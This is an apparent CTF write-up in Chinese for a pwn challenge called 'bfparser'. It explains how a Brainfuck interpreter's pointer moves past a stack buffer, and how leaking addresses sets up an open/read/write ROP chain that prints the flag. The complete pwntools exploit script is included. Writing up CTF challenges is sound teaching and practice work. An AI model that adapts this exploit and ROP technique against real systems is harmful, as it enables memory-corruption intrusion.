bfparser
分析
保护是全开了的。
看看main函数
分配了一个0x1000的chunk来写入数据。在sub_13BA()里进行了一定的预处理。
然后开了沙箱,只能orw
关键漏洞出在sub_163F()
这里有一个__asm{ jmp rax }
,估计是跳表需要修复,懒得修了,直接看汇编吧
可以看到,根据输入的东西不同,执行不一样的操作。结合标题的bf,可以想到brainfuck
语言
百度了之后,发现bf语言的语法其实非常简洁。值得注意的是,他有移动指针和修改指针内容的功能。
此函数是通过v2
这个变量模拟的bf语言运行的空间。不难看出,移动指针可以导致栈溢出。
他的指针操作是由一个变量当做下标来实现的,不幸的是,他一次只会移动1字节。
如果单纯使用'>'*n
的方式来移动的话,他初始位于rbp-0x210,想要劫持到返回地址就需要0x218*8个字节的数据,已经超过了题目给的0x1000。
一开始我想的是劫持[rbp-0x214]这个指针,但是由于个人太菜了,没有成功。(感觉是负数的问题)
于是去想办法简化bf语言的payload。
最后想到的是用 +[>>>>>>>>,]
通过自己的输入来有限控制指针循环移动
然后经过不断的二分调试,最终确定了payload让指针到了返回地址
(这里劫持的是main函数的栈帧,也就是 __libc_start_main+243
)
1
| pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'
|
劫持到这里主要是觉得方便leak libc和栈基址。(中途脑袋抽了,还把pie基址一块leak了,当时想的是rop要用gadgets,然而最后还是直接用的libc的gadgets)
leak之后就简单了,直接rop去写orw。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6')
''' pop_rdi = 0x0000000000000973 # pop rdi ; ret ret = 0x000000000000001a # ret ''' pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'
pay += '>>>>>>>>'*2 pay += '.>'*8 pay += '>>>>>>>>'
pay += '.>'*8 pay += '<<<<<<<<'*5
pay += '.>'*8 pay += '<<<<<<<<' pay += ',>'*8 * 22
dd = '0'*0x40 + '\x00'
p.sendline(pay) gdb.attach(p)
p.send(dd)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0xf0 print(hex(stack))
pie = u64(p.recvuntil(b'\x55')[-6:].ljust(0x8, b'\x00')) - 0x854 print(hex(pie))
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x24083 print(hex(libcbase)) ''' one = [0xe3afe, 0xe3b01, 0xe3b04] # print(hex(libcbase + one[0])) p.sendline(p64(one[2]+libcbase)) ''' pop_rdi = libcbase + 0x0000000000023b6a pop_rsi = libcbase + 0x000000000002601f pop_rdx = libcbase + 0x0000000000142c92
op = libcbase + libc.symbols['open'] re = libcbase + libc.symbols['read'] wr = libcbase + libc.symbols['write']
pay = p64(pop_rdi) + p64(stack+8*21) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(op) pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack-0x100) + p64(pop_rdx)+p64(0x30)+p64(re) pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack-0x100) + p64(pop_rdx)+p64(0x30)+p64(wr) pay += b'./flag\x00\x00' p.send(pay)
p.interactive()
|